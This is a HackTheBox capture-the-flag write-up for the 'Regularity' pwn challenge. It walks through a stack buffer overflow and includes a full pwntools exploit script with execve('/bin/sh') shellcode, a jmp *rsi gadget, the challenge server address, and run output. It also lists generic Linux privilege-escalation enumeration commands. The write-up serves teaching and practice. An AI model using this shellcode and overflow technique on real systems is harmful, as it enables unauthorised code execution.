← Back to Writeups
HTBN/APwn

Regularity

XESXOR8/23/20266 min read
#pwn#htb#n/a

Regularity

Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-29 | Status: Solved Techniques: jmp_rsi_gadget, register_preservation, ret_overwrite, shellcode_injection

Summary

Task: Exploit a minimal static x86-64 binary with executable stack and no canary. Solution: Overflow a 256-byte buffer via 272-byte read to overwrite the return address with a jmp *rsi gadget at 0x401041, which jumps to shellcode placed at the buffer start since RSI is preserved after the read syscall.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260129_htb_regularity
  • Tags: buffer_overflow, x86_64, shellcode, stack_executable, static_binary
  • Indicators: NX disabled, executable stack, RWX segments, static binary, no canary
  • Source: 20260129_htb_regularity.md

Foothold

Vulnerability / Misconfiguration

  1. Jmp_rsi_gadget
  2. Register_preservation
  3. Ret_overwrite
  4. Shellcode_injection
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • jmp_rsi_gadget
  • register_preservation
  • ret_overwrite
  • shellcode_injection
  • Tags: buffer_overflow, x86_64, shellcode, stack_executable, static_binary

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Nothing much changes from day to day. Famine, conflict, hatred - it's all part and parcel of the lives we live now. We've grown used to the animosity that we experience every day, and that's why it's so nice to have a useful program that asks how I'm doing. It's not the most talkative, though, but it's the highest level of tech most of us will ever see...

Remote: nc 94.237.61.248 42609

Files

  • regularity - ELF 64-bit LSB executable, x86-64, statically linked, not stripped
  • flag.txt - Fake flag for local testing

Analysis

Binary Properties

$ checksec regularity
Arch:       amd64-64-little
RELRO:      No RELRO
Stack:      No canary found
NX:         NX unknown - GNU_STACK missing
PIE:        No PIE (0x400000)
Stack:      Executable
RWX:        Has RWX segments
Stripped:   No

Key observations:

  • No stack canary - buffer overflow possible
  • Executable stack - shellcode execution possible
  • No PIE - fixed addresses, gadgets at known locations
  • Statically linked - minimal attack surface but predictable layout

Disassembly

The binary is a minimal assembly program:

_start (0x401000):
  - Prints "Hello, Survivor. Anything new these days?"
  - Calls read function
  - Prints "Yup, same old same old here as well..."
  - Jumps to exit via jmp *rsi

read (0x40104b):
  subq $0x100, %rsp        # Allocate 256 bytes on stack
  movl $0x0, %eax          # syscall number 0 (read)
  movl $0x0, %edi          # fd = 0 (stdin)
  leaq (%rsp), %rsi        # RSI = buffer address on stack
  movl $0x110, %edx        # count = 272 bytes  <-- VULNERABILITY!
  syscall
  addq $0x100, %rsp        # Restore stack (256 bytes)
  ret                       # Return to caller

write (0x401043):
  - Standard write syscall wrapper

exit (0x40106f):
  - exit(0) syscall

Vulnerability

Classic stack buffer overflow in the read function:

Stack LayoutSize
Buffer256 bytes (0x100)
Saved RBP8 bytes
Return Address8 bytes

The function:

  1. Allocates 256 bytes on stack
  2. Reads 272 bytes (0x110) - 16 bytes overflow
  3. Overflow allows overwriting return address

Key Gadget

At address 0x401041 there's a powerful gadget:

0x401041: jmp *rsi

Why this matters:

  • After the read syscall, RSI still points to our input buffer
  • Linux syscalls preserve RSI (it's a callee-saved register for syscalls)
  • By returning to this gadget, we jump directly to our controlled buffer

Exploitation Strategy

+------------------+
|    Shellcode     |  <- RSI points here after read
|    (29 bytes)    |
+------------------+
|    NOP sled      |
|   (227 bytes)    |
+------------------+
| jmp *rsi gadget  |  <- Return address (0x401041)
|    (8 bytes)     |
+------------------+

Flow: read() returns -> jmp *rsi -> shellcode executes
  1. Place shellcode at buffer start (where RSI points)
  2. Pad with NOPs to reach 256 bytes
  3. Overwrite return address with jmp *rsi gadget
  4. On return, gadget executes, jumping to our shellcode
  5. Shellcode spawns /bin/sh

Solution

#!/usr/bin/env python3
"""
Regularity - HackTheBox PWN
Stack buffer overflow with jmp *rsi gadget

Vulnerability: read() allocates 256 bytes but reads 272 bytes
Exploitation: Overwrite return address with jmp *rsi gadget to execute shellcode
"""
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

# execve("/bin/sh") shellcode - 29 bytes
# Source: shell-storm.org/shellcode/files/shellcode-905.html
shellcode = (
    b"\x6a\x42"              # push 0x42
    b"\x58"                  # pop rax
    b"\xfe\xc4"              # inc ah (rax = 0x3b = execve)
    b"\x48\x99"              # cqo (rdx = 0)
    b"\x52"                  # push rdx (null terminator)
    b"\x48\xbf\x2f\x62\x69"  # movabs rdi, "/bin//sh"
    b"\x6e\x2f\x2f\x73\x68"
    b"\x57"                  # push rdi
    b"\x54"                  # push rsp
    b"\x5e"                  # pop rsi
    b"\x49\x89\xd0"          # mov r8, rdx
    b"\x49\x89\xd2"          # mov r10, rdx
    b"\x0f\x05"              # syscall
)

# Gadget: jmp *rsi at 0x401041
# After read syscall, RSI still points to our buffer
JMP_RSI = 0x401041

def exploit(target):
    if target == 'local':
        p = process('./regularity')
    else:
        p = remote('94.237.61.248', 42609)
    
    # Build payload
    payload = shellcode              # Shellcode at buffer start (29 bytes)
    payload = payload.ljust(256, b'\x90')  # Pad to 256 bytes with NOPs
    payload += p64(JMP_RSI)          # Overwrite return address
    
    log.info(f"Payload size: {len(payload)} bytes")
    log.info(f"Shellcode size: {len(shellcode)} bytes")
    log.info(f"Gadget address: {hex(JMP_RSI)}")
    
    # Send payload
    p.recvuntil(b'days?')
    p.send(payload)
    
    # Wait for shell
    sleep(0.5)
    
    # Get flag
    p.sendline(b'cat flag.txt')
    response = p.recvall(timeout=3)
    print(response.decode())
    
    p.close()

if __name__ == '__main__':
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else 'remote'
    exploit(target)

Execution

$ python3 solve.py remote
[+] Opening connection to 94.237.61.248 on port 42609: Done
[*] Payload size: 264 bytes
[*] Shellcode size: 29 bytes
[*] Gadget address: 0x401041
HTB{REDACTED}

Lessons Learned

  1. Challenge name hint: "Regularity" refers to the predictable/regular state of registers after syscalls - RSI preservation is the key insight

  2. Syscall register preservation: Linux syscalls preserve RSI, making it a reliable pointer to user-controlled data

  3. Minimal binaries: Simple assembly programs often lack modern protections, making them ideal for learning classic exploitation techniques

  4. Gadget hunting: Even tiny binaries can contain useful gadgets - jmp *rsi is powerful when you control the buffer and know register state

  5. Static analysis first: Understanding the exact buffer sizes and read limits from disassembly is crucial for precise exploitation

References

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR